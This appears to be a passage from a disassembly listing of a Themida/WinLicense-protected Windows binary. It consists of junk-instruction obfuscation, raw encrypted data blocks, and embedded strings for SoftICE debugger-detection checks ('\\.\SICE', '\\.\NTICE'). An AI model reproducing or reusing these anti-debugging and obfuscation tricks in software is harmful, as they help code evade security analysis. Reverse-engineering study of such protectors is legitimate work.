		dd 0B0240489h, 4D8F621h, 0FEF5E908h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB152:				; CODE XREF: Themida_:0059EE88j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		shl	bl, 5
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 79h
		sub	bl, 8Dh
		push	ecx
		mov	ch, 69h
		jmp	loc_5A0365
; ---------------------------------------------------------------------------


loc_5AB188:				; CODE XREF: Themida_:005983AAj
		push	edi
		push	eax
		push	esi
		jmp	loc_5977B0
; ---------------------------------------------------------------------------
		dd 0A8E9EF20h, 0C1FFFF0Dh, 0E9D108E1h, 0E905E1C1h, 0FFFF1B81h
; ---------------------------------------------------------------------------


loc_5AB1A4:				; CODE XREF: Themida_:005A9863j
		sub	esi, 4C2D6921h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5A53C9
; ---------------------------------------------------------------------------


loc_5AB1B6:				; CODE XREF: Themida_:005A3609j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_595F5D
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 2, 0FF490EE9h, 48B66FFh, 60F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB1EE:				; CODE XREF: Themida_:0059D69Fj
		add	esp, 4
		push	eax
		mov	eax, esi
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5A2526
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 7455E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB212:				; CODE XREF: Themida_:0059A30Bj
		add	edx, 4
		push	esi
		push	ebp
		mov	ebp, 355F73BBh
		mov	esi, 355F73BFh
		jmp	loc_5AA651
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 5Eh
		dd 29507D0Ah, 0C7B8E9C2h, 535BFFFFh, 0B55123B3h, 0F7C0E984h
		dd 405FFFFh, 83000000h,	0FF5004C0h, 58042474h, 5C24048Fh
		dd 7D58BD55h, 0ED8114BFh, 1832632Ch, 0FEFDECE9h, 4C481FFh
		dd 83000000h, 0C8904ECh, 4C13B924h, 0F1813104h,	31044C17h
		dd 8359CB01h, 95E904C3h, 66FFFED4h, 66392ABFh, 0BA665253h
		dd 89666DBFh, 29665AD3h, 665B66D8h, 566F829h, 0B8E96DBFh
		dd 87FFFF03h, 895C241Ch, 0FBE92424h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB2B3:				; CODE XREF: Themida_:005A4705j
		mov	ebp, 0
		mov	ecx, ebp
		pop	ebp
		jmp	loc_597096
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFD20Ah
; ---------------------------------------------------------------------------


loc_5AB2C8:				; CODE XREF: Themida_:005984CAj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edi, ebp
		jmp	loc_5A9CB3
; ---------------------------------------------------------------------------
		dd 0E208B7B4h, 0EAC05866h, 0DB9E905h, 2489FFFFh, 24048124h
		dd 4, 15E9555Bh
		db 1Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB2FF:				; CODE XREF: Themida_:005A2B60j
		inc	eax
		dec	eax
		jmp	loc_5A1027
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 5BD83158h, 0FFB8ACE9h, 4DF781FFh, 816F2151h,	547D09F7h
		dd 0BD554F36h, 32EC518Ah, 0BE9EF31h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB32B:				; CODE XREF: Themida_:005A15A2j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5A42D6
; ---------------------------------------------------------------------------


loc_5AB339:				; CODE XREF: Themida_:00599294j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A8571
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8302E2C1h, 0BE56FFC2h, 363A6250h, 535EF221h,	0D1B85055h
		dd 0E965107Eh, 0FFFF66CAh
; ---------------------------------------------------------------------------


loc_5AB374:				; CODE XREF: Themida_:005A0C9Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_59C030
; ---------------------------------------------------------------------------
		db 66h,	0BDh, 0E1h
		dd 664D6653h, 0FF75C581h, 0FFD6C0E9h, 0F8B551FFh, 2EE9EB00h
		dd 33FFFECCh, 0F65C2434h, 0B60F66E1h, 468768CCh, 1C890000h
		dd 30FA6824h, 0E1E90000h
		db 0AFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB3BB:				; CODE XREF: Themida_:005AAD8Fj
		push	ebx
		mov	ebx, 56B80FAFh
		add	ebp, ebx
		pop	ebx
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	esp
		jmp	loc_59A72D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 0FF4029E9h, 243C8BFFh, 81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	0E924048Fh, 0FFFEED1Bh,	0BB241C89h
		dd 2AF4DC0h, 5CECB951h,	814118D3h, 0C2717FE9h, 0B896E9BFh
		dd 8152FFFEh, 4ECh, 8BE95400h, 5AFFFFACh, 241C8B66h, 0FFE111E9h
		dd 8BC131FFh, 0C4832404h, 59CB8904h, 3CE95357h,	0B4FFFFE7h
		dd 0B25266A4h, 66D40094h, 5ECC05Ah, 0FFE5D7E9h,	57D2F7FFh
		dd 0CF55E956h, 0DF68FFFEh, 0E9000074h, 0FFFF5B26h
; ---------------------------------------------------------------------------


loc_5AB464:				; CODE XREF: Themida_:0059E9DCj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_59839D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0A114B21h, 8A7786B8h, 86CE964h, 0EC81FFFFh, 4, 68243C89h
		dd 30AC78AFh, 8B2434FFh, 4E9243Ch
		db 0AEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB497:				; CODE XREF: Themida_:0059AC20j
		sub	[esp+8], edi
		add	dword ptr [esp+8], 692B21DEh
		pop	edi
		sub	dword ptr [esp+4], 3D01395Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3B703CBAh
		add	[esp+8], eax
		pop	eax
		jmp	loc_59F7D9
; ---------------------------------------------------------------------------
		dd 0FEA9C3E9h, 24348BFFh, 5A04C483h, 0FF9AA9E9h, 4C483FFh
		dd 0FEB5C4E9h, 244C8AFFh, 245C8804h, 0DB5BE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB4EA:				; CODE XREF: Themida_:005A8791j
		push	small 6452h
		mov	[esp], cx
		mov	ch, 54h
		dec	ch
		xor	ch, 96h
		mov	bl, ch
		mov	cx, [esp]
		push	720Ah
		jmp	loc_59EE85
; ---------------------------------------------------------------------------
		db 1, 0F3h, 0E9h
		dd 0FFFEE8DCh, 4AE9h, 8698BA00h, 4553552Bh, 2E323352h
		dd 6C6C64h, 41564441h, 32334950h, 6C6C642Eh, 44544E00h
		dd 642E4C4Ch, 0D8006C6Ch, 5000407h, 5000400h, 29001A00h
		dd 15B00h, 4 dup(0)
		dd 0E9000000h, 84Eh, 0AAA1E968h, 0DEADE907h, 4E68FFFDh
		dd 0E907AAA2h, 0FFFDDEA3h, 0AAA36D68h, 0DE99E907h, 0B868FFFDh
		dd 0E907AAA4h, 0FFFDDE8Fh, 0AAA52868h, 0DE85E907h, 1B68FFFDh
		dd 0E907AAA6h, 0FFFDDE7Bh, 0AAA68468h, 0DE71E907h, 0D586FFFDh
		dd 10C4ADC2h, 4F09F207h, 8C4A3348h, 0CE8D768Bh,	23A6B4C9h
		dd 0AFC4D382h, 0EF0413C6h, 31465106h, 6C819648h, 71A7ED8Ch
		dd 77CBAECFh, 68C32FDDh, 0B7A470E5h, 1765071h, 3EDE17DBh
		dd 8A410119h, 0BCA9CACDh, 0FBC6D183h, 9CBB5D2Eh, 0B1EC04D1h
		dd 0EFD9BD4h, 17692C8h,	709198DBh, 93176858h, 0DC39B4DBh
		dd 20C50BF8h, 26BC83ACh, 116541Fh, 47A2E8D5h, 4DC42BE8h
		dd 79205946h, 0E8164C92h, 151CC42Bh, 88DDDCF4h,	0D08A8D4Fh
		dd 48163E4Eh, 0AE91A93Ch, 0EDD6EBECh, 6E322A2Dh, 99039859h
		dd 6A92C04h, 3DDE0000h,	781C051Ah, 0B7614A5Fh, 0F4A28BA0h
		dd 36E5CEE3h, 0CBFE0C21h, 71C3BDAh, 475C7B1Eh, 899EB95Eh
		dd 0C4D9FEA0h, 0C9FF45E4h, 0CFCBAECFh, 17C78735h, 1EF73500h
		dd 5274C9B6h, 17DB5913h, 7060788Eh, 0DB03BDE6h,	0BFF8E5ECh
		dd 0E3E2FA1Dh, 0D5EAEDAAh, 5D282FECh, 21193EE0h, 0F4E04E11h
		dd 44A37B10h, 79000006h, 0C1AABFD8h, 6EF0413h, 47304552h
		dd 866F8493h, 9DABC0D7h, 0BDDA792Ch, 0FF18BFA8h, 435401EAh
		dd 8295452Eh, 0A8EE8D6Dh, 0CBAECE72h, 0C730DE78h, 41396717h
		dd 732D2AEAh, 5401CA50h, 8AAB7843h, 71219E69h, 7E159B66h
		dd 0EA236713h, 6AF61BA7h, 0F4000000h, 0EB0017C7h, 7080BAFFh
		dd 0B363D359h, 70E58FA4h, 4062B7A4h, 221C7C54h,	6FA583B2h
		dd 75D35941h, 2DF81FBEh, 28273F60h, 1B3A3E2h, 0B5A2A9DBh
		dd 26D93E60h, 34B0D3A1h, 7B9C391Ch, 9681558Eh, 0A96E577Eh
		dd 0D388C1AEh, 9E93F9C4h, 440B669Dh, 56334B6Ch,	0FAD184BDh
		dd 1D27EB4h, 5C7D84DBh,	6EACC491h, 587h, 17C7B0h, 0B1639C35h
		dd 3875DBA6h, 53300D2h,	0B75B7394h, 5089765Eh, 42BF8A8Dh
		dd 0E9B68196h, 6BB1B0C8h, 0DB00B266h, 0F7E0B56Ch, 6D8C1D6h
		dd 0E7E91F78h, 7B9C633Bh, 0CB5BBC66h, 0ED0E09h,	0AB933BBAh
		dd 4D3A41E2h, 3B504714h, 0C7928552h, 38DF884Ah,	2606FE1Fh
		dd 0F1FC1821h, 525845Ch, 0B95A0000h, 0FCA0899Eh, 3BDDC6DBh
		dd 781E071Ch, 0B2614A5Fh, 478290A5h, 8398BF5Eh,	0C3D8FF9Ah
		dd 51A3DDAh, 485D7A1Ch,	4D83C968h, 53CBAECDh, 17C70BB9h
		dd 479C3500h, 5970CB01h, 0B2CAD1D3h, 82580FCFh,	5C2730E5h
		dd 0D6A36E8Fh, 0CD64EAB5h, 0DE7EB762h, 921EEB9h, 5972EC19h
		dd 0D8917FD3h, 3CE457FCh, 0ADF421Ah, 5F77BB16h,	0FFFECC43h
		dd 17C741FFh, 0C28D8A50h, 0CB09D4F5h, 80CEF14Ah, 0BCEC5B96h
		dd 7B5389CFh, 5259D358h, 3DFE4431h, 43DB007Fh, 22273Ch
		dd 17120D4Ah, 0F2A778DFh, 354D1AE5h, 63508491h,	0A975881Dh
		dd 0BC878EE2h, 0A974F932h, 0DE1714E2h, 0E9041C3Bh, 698D27Eh
		dd 9061EB08h, 5F000001h, 70E568C3h, 5071B7A4h, 56DB0176h
		dd 1049264Fh, 0DBFC9E49h, 57224310h, 4E193EDAh,	58486081h
		dd 0B4DB9307h, 62382C29h, 21675475h, 0BC83AB7Ch, 72B07B82h
		dd 0E91F65E5h, 0E3BC83AAh, 36276F5Fh, 0E2E997AAh, 0DB341328h
		dd 325367F2h, 32A4FF45h, 0A3AAC42Ch, 0B8DF7DB6h, 0B668A1A0h
		dd 683324F1h, 60657A9Bh, 4A627527h, 1407B767h, 0ED6CDC7Bh
		dd 1BB213CDh, 0D40D737Ah, 291BBBB3h, 11A60398h,	3DA39h
		dd 494E0F00h, 8E894B34h, 0CFC89079h, 1205D1BAh,	564114FDh
		dd 0F963341h, 4D364B4Ch, 8F788D8Ah, 0CFB8CDCAh,	13F3080Fh
		dd 0CBF82E74h, 64FECBAEh, 2C1106B6h, 14CEFE06h,	675475B5h
		dd 0F2142A45h, 3EF8C997h, 8F3C6274h, 0D9D8F024h, 3542193h
		dd 0AD7027DBh, 1B3C5BFAh, 7D40DFAh, 4512FB10h, 480A8752h
		dd 0E1AD574Fh, 972CF4E3h, 36ABFh, 0D9FE9F00h, 1E39DBC4h
		dd 5F782009h, 0A2B5614Ah, 0E6F1A48Dh, 9F06C3D1h, 0DDC6DBFCh
		dd 1F081D3Ah, 5F485D7Ah, 0A38398BFh, 0CB88BE04h, 0F48ECBAEh
		dd 0A472AB46h, 0E6B89BB3h, 0E9A926F1h, 69D23EEh, 72D2FF9Bh
		dd 0E5B5D359h, 0B6819642h, 0B9A7C8E9h, 0E457FFF0h, 67334264h
		dd 229A1FBh, 0FD1FCEEAh, 0ABCCFFFFh, 99B1A672h,	28F3E4B6h
		dd 9384568Fh, 0CA7ED77Bh, 59704E84h, 2C4D54D3h,	8180F93Fh
		dd 2547DB01h, 0AE107848h, 9BBC5F37h, 0CAE203D0h, 0DD16030Ah
		dd 85521D3Ah, 0C35A466Dh, 9F77E06Dh, 764B6CB2h,	4A51DB01h
		dd 8CC2085Dh, 92DB0176h, 764379BFh, 4249DB01h, 0CE0921h
		dd 8318E9E0h, 0A69385A7h, 7C551B5Bh, 7F57C064h,	0FCA74C92h
		dd 0A6AD8AC0h, 5CB89DDBh, 37CE296Fh, 0CDD49269h, 0E0F7A7E0h
		dd 2730E2CBh, 45C49B2Fh, 0D9B1464Ch, 277h, 0D7ECEBACh
		dd 14292EEEh, 556A6D2Bh, 94A9AE6Ch, 0DAEFE8ABh,	0F5A8FDCCh
		dd 35E4CDE2h, 77240D22h, 0B0624B60h, 13B292A7h,	0AECA97CDh
		dd 55039DCBh, 47151106h, 97B88550h, 10FC64AAh, 0FB02DB04h
		dd 3D73B90Eh, 43DB0411h, 0EC25243Ch, 0E13282Fh,	451007D5h
		dd 0D87D6078h, 0A777F4BFh, 0A218B8B0h, 42D7F4E0h, 20E6Ah
		dd 85924300h, 0C2D58770h, 314C4ADh, 465105EEh, 82954831h
		dd 3B6A5F6Dh, 816A7F98h, 0C3ACC1D6h, 3EC0116h, 4F2F4453h
		dd 0CA346AB0h, 0A03ACBAEh, 151106F2h, 422F5047h, 41194FCh
		dd 0A6939ADBh, 95AAAD6Dh, 0B9A66EEBh, 4114773h,	7B464DDBh
		dd 6D385FFEh, 0A6B1640Bh, 23DB80B9h, 0C5ACDDE4h, 0ED0526D4h
		dd 0D188C1C6h, 5D2EFBC6h, 7D49FB8h, 6DCE4BEFh, 1C22035Ah
		dd 6F5C7DD9h, 467FB29h,	0C989C2DBh, 659BE1CEh, 6BDB0468h
		dd 0D58C4C64h, 26F11205h, 23EEE9A9h, 5F781AC1h,	0A6B1614Ah
		dd 0CC1F5ADBh, 0C393228Dh, 0EFAEE7D4h, 3E841DE8h, 0DB046808h
		dd 0CEE6070Eh, 0FB1CBEA7h, 0F7E0B330h, 2AEFE80Ah, 0EB428AB7h
		dd 1831F6D3h, 5B7C1EADh, 99BE5D46h, 0DB1157ACh,	0E1DB03D1h
		dd 64E5C2DAh, 2C97D605h, 0C4D9FE9Dh, 65316ABFh,	0D15E9472h
		dd 5D64DB03h, 0A4B36245h, 0A5EB40D9h, 0DB03D16Fh, 0D1BAF036h
		dd 0B9C0DB03h, 9EC040Bh, 95E4B4Ch, 3D18DC3h, 748C93DBh
		dd 46F1C97h, 9CB1A675h,	7F4E3B3h, 0F40C0BCEh, 38998D17h
		dd 0D17E9377h, 7707D766h, 36A525DDh, 617697B5h,	0C4B1A678h
		dd 1C5D54A2h, 536BF90Ah, 3D5AF976h, 0B8231E72h,	5CA26929h
		dd 93768726h, 6653E20h,	44F21891h, 1E071C3Dh, 52905B7Ch
		dd 0DE2411C5h, 9B1EC2CDh, 0A6DFCCD3h, 7634AF4h,	1F20BE2Bh
		dd 4E6633FEh, 87CD2227h, 9B1EAF51h, 94385057h, 20665383h
		dd 0A2C94F92h, 49C69198h, 68A18E89h, 0EDBA6B1h,	34E6CFF6h
		dd 0CAAF028Ah, 0BC6B6AA3h, 9E9884E5h, 0ECB7D8F9h, 0F55F0C62h
		dd 0B21D18CEh, 4F647323h, 79AFF54Ah, 7FCEF55Fh,	0F3872BDFh
		dd 0CAEBA88Ah, 580FCFB2h, 0FCC99483h, 0C79310DBh, 3788BE04h
		dd 0EE8ECEF5h, 0AB61AEEh, 294A6B73h, 0CB36E35Eh, 687D9A3Ch
		dd 0EDB8DF7Fh, 1215h, 51053E00h, 9CE27B46h, 0CEF50166h
		dd 2C44656Ch, 0C73EDC46h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h
		dd 0A421ECEBh, 9E1BE6F1h, 900DD8FFh, 8502CDCAh,	7CF9C4D3h
		dd 3CF4BFD8h, 7EFB68h, 241C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	5655h
		mov	[esp], ebp
		push	esi
		mov	esi, 349C0EF0h
		push	ecx
		push	74E33E35h
		pop	ecx
		shl	ecx, 4
		xor	ecx, 37B207E8h
		xor	ecx, 4B8178BBh
		xor	ecx, 13633B2h
		mov	edx, ecx
		pop	ecx
		xor	edx, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		xor	dword ptr [esp], 29B0753Eh
		pop	dword ptr [ebp+8]
		push	ecx
		mov	ecx, 8
		add	ecx, ebp
		xor	dword ptr [ecx], 29B0753Eh
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		dw 0E821h
		dd 0B7B8ED04h, 307AAA8h, 0BBE0FFC5h, 940D5464h,	6E41F61Eh
		dd 0E839F71Bh, 0Fh, 0C2E05A83h,	365C6137h, 0A78241D1h
		dd 81CE6814h, 532922D9h, 0C6815E5Dh, 5A1Ch, 4ABAD88Bh
		dd 816D0DD3h, 0DC52FF2h, 0A8B0F6Dh, 0F000000h, 48Ch, 6DB96600h
		dd 8B068BB2h, 0D9F081D8h, 6625960Dh, 0E921E981h, 0A98DF081h
		dd 0B70F1015h, 77F081DFh, 604217B7h, 0F000BA66h, 0F7B70F51h
		dd 689615Ah, 2820Fh, 0CE8A0000h, 0F04EE83h, 0D86h, 8E900h
		dd 0CE20000h, 9DDD7668h, 0F4A6F59h, 0FFFFB085h,	0CB8B66FFh
		dd 8CE9h, 0BD836000h, 7A833CDh,	5840F00h, 0E9000000h, 77h
		dd 3E80006Ah, 8850F30h,	6A000000h, 35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h
		dd 8D000000h, 0A8094585h, 90509007h, 6A965096h,	0AD95FF00h
		dd 6107A829h, 1985C6C3h, 4D07A806h, 4F82E768h, 24048193h
		dd 10E5F3C1h, 1E35B5FFh, 858D07A8h, 7A83BDFh, 8589D0FFh
		dd 7A829ADh, 0AAE9h, 666F5300h,	72617774h, 69575C65h, 63694C6Eh
		dd 65736E65h, 65684300h, 4E496B63h, 72705800h, 7845746Fh
		dd 43007469h, 6B636568h, 54554Fh, 4C6E6957h, 6E656369h
		dd 65566573h, 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h
		dd 76697244h, 65567265h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 74736E49h, 65636E61h, 69784500h, 6B4F74h
		dd 636F7250h, 50004E49h, 4F636F72h, 45005455h, 49746978h
		dd 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0)
		dd 8000000h, 0BB77DEB9h, 0E977DFD5h, 596h, 0AB468589h
		dd 858D07AAh, 7AAAB42h,	0AC858D50h, 5007AAAAh, 168h, 5295FF80h
		dd 6A07AAABh, 46B5FF19h, 6A07AAABh, 8D006A01h, 0AAAADB85h
		dd 0B5FF5007h, 7AAAB42h, 296195FFh, 0B5FF07A8h,	7AAAB42h
		dd 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh,	89C307A8h
		dd 0AAAB4685h, 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh
		dd 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh,	6A5007AAh
		dd 8D006A04h, 0AAAB0585h, 0B5FF5007h, 7AAAB42h,	296195FFh
		dd 0B5FF07A8h, 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h
		dd 27C595FFh, 89C307A8h, 0AAAB4685h, 42858D07h,	5007AAABh
		dd 0AAAC858Dh, 685007AAh, 80000001h, 0AB5295FFh, 46A07AAh
		dd 0AB46858Dh, 6A5007AAh, 8D006A04h, 0AAAAED85h, 0B5FF5007h
		dd 7AAAB42h, 296195FFh,	0B5FF07A8h, 7AAAB42h, 0AB4E95FFh
		dd 0B5FF07AAh, 7AAAB42h, 27C595FFh, 89C307A8h, 0AAAB4685h
		dd 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh,	80000001h
		dd 0AB5295FFh, 46A07AAh, 0AB46858Dh, 6A5007AAh,	8D006A04h
		dd 0AAAB1885h, 0B5FF5007h, 7AAAB42h, 296195FFh,	0B5FF07A8h
		dd 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh
		dd 89C307A8h, 0AAAB4685h, 42858D07h, 5007AAABh,	0AAAC858Dh
		dd 685007AAh, 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh
		dd 6A5007AAh, 8D006A04h, 0AAAAC885h, 0B5FF5007h, 7AAAB42h
		dd 296195FFh, 0B5FF07A8h, 7AAAB42h, 0AB4E95FFh,	0B5FF07AAh
		dd 7AAAB42h, 27C595FFh,	83C307A8h, 0A82F55BDh, 840F0007h
		dd 0Bh,	2F559D8Bh, 0C38307A8h, 0C303894Ch, 2F55BD83h, 0F0007A8h
		dd 0B84h, 559D8B00h, 8307A82Fh,	38950C3h, 55BD83C3h, 7A82Fh
		dd 0B840Fh, 9D8B0000h, 7A82F55h, 8954C383h, 0BD83C303h
		dd 7A82F55h, 0B840F00h,	8B000000h, 0A82F559Dh, 58C38307h
		dd 83C30389h, 0A82F55BDh, 840F0007h, 0Bh, 2F559D8Bh, 0C38307A8h
		dd 0C303895Ch, 858960C3h, 7AAAB46h, 0AB42858Dh,	8D5007AAh
		dd 0AAAAAC85h, 1685007h, 0FF800000h, 0AAAB5295h, 8D046A07h
		dd 0AAAB4685h, 46A5007h, 858D006Ah, 7AAAB3Dh, 42B5FF50h
		dd 0FF07AAABh, 0A8296195h, 0F9BD8307h, 7A827h, 0C840Fh
		dd 0B5FF0000h, 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h
		dd 27C595FFh, 0C36107A8h, 46858960h, 8D07AAABh,	0AAAB4285h
		dd 858D5007h, 7AAAAACh,	16850h,	95FF8000h, 7AAAB52h, 858D046Ah
		dd 7AAAB46h, 6A046A50h,	1F858D00h, 5007AAABh, 0AB42B5FFh
		dd 95FF07AAh, 7A82961h,	27F9BD83h, 0F0007A8h, 0C84h, 42B5FF00h
		dd 0FF07AAABh, 0AAAB4E95h, 42B5FF07h, 0FF07AAABh, 0A827C595h
		dd 60C36107h, 0AB468589h, 858D07AAh, 7AAAB42h, 0AC858D50h
		dd 5007AAAAh, 168h, 5295FF80h, 6A07AAABh, 46858D04h, 5007AAABh
		dd 6A046Ah, 0AB26858Dh,	0FF5007AAh, 0AAAB42B5h,	6195FF07h
		dd 8307A829h, 0A827F9BDh, 840F0007h, 0Ch, 0AB42B5FFh, 95FF07AAh
		dd 7AAAB4Eh, 0AB42B5FFh, 95FF07AAh, 7A827C5h, 8960C361h
		dd 0AAAB4685h, 42858D07h, 5007AAABh, 0AAAC858Dh, 685007AAh
		dd 80000001h, 0AB5295FFh, 46A07AAh, 0AB46858Dh,	6A5007AAh
		dd 8D006A04h, 0AAAB2E85h, 0B5FF5007h, 7AAAB42h,	296195FFh
		dd 0BD8307A8h, 7A827F9h, 0C840F00h, 0FF000000h,	0AAAB42B5h
		dd 4E95FF07h, 0FF07AAABh, 0AAAB42B5h, 0C595FF07h, 6107A827h
		dd 858960C3h, 7AAAB46h,	0AB42858Dh, 8D5007AAh, 0AAAAAC85h
		dd 1685007h, 0FF800000h, 0AAAB5295h, 8D046A07h,	0AAAB4685h
		dd 46A5007h, 858D006Ah,	7AAAB35h, 42B5FF50h, 0FF07AAABh
		dd 0A8296195h, 0F9BD8307h, 7A827h, 0C840Fh, 0B5FF0000h
		dd 7AAAB42h, 0AB4E95FFh, 0B5FF07AAh, 7AAAB42h, 27C595FFh
		dd 0C36107A8h, 4685C760h, 107AAABh, 8D000000h, 0AAAB4285h
		dd 858D5007h, 7AAAAACh,	26850h,	95FF8000h, 7AAAB52h, 840FC00Bh
		dd 0Fh,	0AB4685C7h, 7AAh, 4DE90000h, 6A000000h,	46858D04h
		dd 5007AAABh, 6A046Ah, 0AAC0858Dh, 0FF5007AAh, 0AAAB42B5h
		dd 6195FF07h, 0B07A829h, 0F840FC0h, 0C7000000h,	0AAAB4685h
		dd 7, 0AE900h, 85C70000h, 7AAAB46h, 1, 0AB42B5FFh, 95FF07AAh
		dd 7A827C5h, 46858B61h,	0C307AAABh, 46858960h, 8D07AAABh
		dd 0AAAB4285h, 858D5007h, 7AAAAACh, 16850h, 95FF8000h
		dd 7AAAB52h, 858D046Ah,	7AAAB46h, 6A046A50h, 0C0858D00h
		dd 5007AAAAh, 0AB42B5FFh, 95FF07AAh, 7A82961h, 27F9BD83h
		dd 0F0007A8h, 0C84h, 42B5FF00h,	0FF07AAABh, 0AAAB4E95h
		dd 42B5FF07h, 0FF07AAABh, 0A827C595h, 60C36107h, 0AB468589h
		dd 858D07AAh, 7AAAB42h,	0AC858D50h, 5007AAAAh, 168h, 5295FF80h
		dd 6A07AAABh, 46858D04h, 5007AAABh, 6A046Ah, 0AAD2858Dh
		dd 0FF5007AAh, 0AAAB42B5h, 6195FF07h, 8307A829h, 0A827F9BDh
		dd 840F0007h, 0Ch, 0AB42B5FFh, 95FF07AAh, 7AAAB4Eh, 0AB42B5FFh
		dd 95FF07AAh, 7A827C5h,	85C6C361h, 7A80619h, 7B076852h
		dd 0B5FFADE4h, 7A80379h, 1DF595FFh, 858907A8h, 7AAAB52h
		dd 61985C6h, 685207A8h,	902E00E5h, 379B5FFh, 95FF07A8h
		dd 7A81DF5h, 0AB4E8589h, 85C607AAh, 7A80619h, 12356852h
		dd 0B5FFB9BFh, 7A80379h, 1DF595FFh, 858907A8h, 7A82961h
		dd 61985C6h, 685207A8h,	98781034h, 379B5FFh, 95FF07A8h
		dd 7A81DF5h, 27C58589h,	85C607A8h, 7A80619h, 0DBD46852h
		dd 0B5FFC005h, 7A80379h, 1DF595FFh, 858907A8h, 7A81D65h
		dd 0CE8h, 0A0C51A00h, 0A729079Fh, 0E485F945h, 0CEB70F01h
		dd 818EB85Fh, 0C781781Ah, 6746h, 2BF0BF0Fh, 98B1B9D2h
		dd 34FF1A30h, 4800F3Ah,	50000000h, 5B5E5E57h, 0C38174B5h
		dd 21D2521Ch, 81F78B66h, 27974EBh, 81C78A47h, 0AE8095EBh
		dd 0C68B661Ah, 0C18B6653h, 0B417048Fh, 83F38BCAh, 0D08101EAh
		dd 6FAF41D7h, 664A4A4Ah, 81F7AABEh, 0FF9958FAh,	17850FFFh
		dd 81000000h, 0FACB00F1h, 21E941h, 63B10000h, 0E763490Fh
		dd 0F9417674h, 0A3BEA8B9h, 0E95EEEB4h, 0FFFFFF8Eh, 66E8038Fh
		dd 1A65837Bh, 0EBDC909Bh, 2E5C5C1Eh, 4349535Ch,	5C5C0045h
		dd 49535C2Eh, 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h
		dd 7E8C0h, 41980000h, 0A2581E8Bh, 0BA665A4Ch, 0BD83E169h
		dd 7A827F9h, 83097500h,	0A80605BDh, 19740007h, 0C08B5350h
		dd 40FB8h, 85858900h, 8D07A825h, 0AAB0239Dh, 5BD3FF07h
		dd 5BD8358h, 7A806h, 53501774h,	40FB8h,	85858900h, 8D07A825h
		dd 0AAAD129Dh, 5BD3FF07h, 0ED806058h, 9E909h, 37280000h
		dd 4E1DF3A7h, 611AF76Fh, 0C08BC88Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 24C35040h, 0F0A5CF5h, 85C6F1BFh
		dd 7A80619h, 7E40BF43h,	8D8B3DB2h, 7A81CF1h, 6521D268h
		dd 0D38B6640h, 2A240481h, 317C294Dh, 0A81D0D85h, 39858907h
